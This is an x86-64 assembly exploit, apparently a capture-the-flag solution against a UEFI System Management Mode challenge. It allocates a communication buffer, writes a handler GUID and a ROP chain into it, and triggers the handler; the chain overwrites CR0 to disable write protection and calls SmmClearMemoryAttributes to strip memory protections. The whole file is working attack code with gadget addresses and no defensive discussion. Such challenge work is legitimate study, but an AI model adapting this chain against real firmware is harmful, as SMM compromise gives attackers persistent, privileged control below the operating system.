    // => 0x7ee92c5:   call   rax

    .intel_syntax noprefix
        .global _start
_start:
        # r15 = base address of binexec
        mov r15, [rsp]
        sub r15, 0x1dcc

        # addr of InternalAllocateZeroPool
        mov rax, r15
        add rax, 0x1163
        mov esi, 0x20 + 408
        mov edi, 0x6
        call rax
        mov r12, rax

        # write guid
        mov rax, [r15+0x3120]
        mov rdx, [r15+0x3128]
        mov [r12+0x0], rax
        mov [r12+0x8], rdx

        # message size
        mov qword ptr [r12+0x10], 416

        mov rcx, 400
        lea rdi, [r12+0x18]
        lea rsi, [rip + dump_flag]
        rep movsb

        # write exploit ptr
        mov rax, 0x7fcc068
        mov [r12+0x18+400], rax

        # This is to enable ICEBP
        movq [r12+0x18+408], 1

        # set up params
        mov rax, [r15+0x103198]
        mov rcx, rax
        mov rdx, r12
        xor r8d, r8d

        call [rax]

        ret

dump_flag:
    .long 0xAABBCCDD
    .long 0x11223344

    .quad 0x7f8a184 // pop rax; ret
    .quad 0x80000033
    .quad 0x7fcf6ef // mov cr0, rax; ret

    .quad 0x7f8ea1c // pop rdx; pop rcx; pop rbx; ret
    .quad 0x1000
    .quad 0x44440000
    .quad 0xAABBCCDD

    .quad 0x7f84129 // pop r8; xor eax, eax; pop rsi; pop rdi; ret;
    .quad 0x2000ULL // EFI_MEMORY_RP
    .quad 0xAABBCCDD
    .quad 0xAABBCCDD
    .quad 0x7fc6743 // SmmClearMemoryAttributes

    .quad 0x7f8ea1c // pop rdx; pop rcx; pop rbx; ret
    .quad 0x60
    .quad 0x44440001
    .quad 0xAABBCCDD

    .quad 0x7ee9463 // CowSay

dump_flag.end:
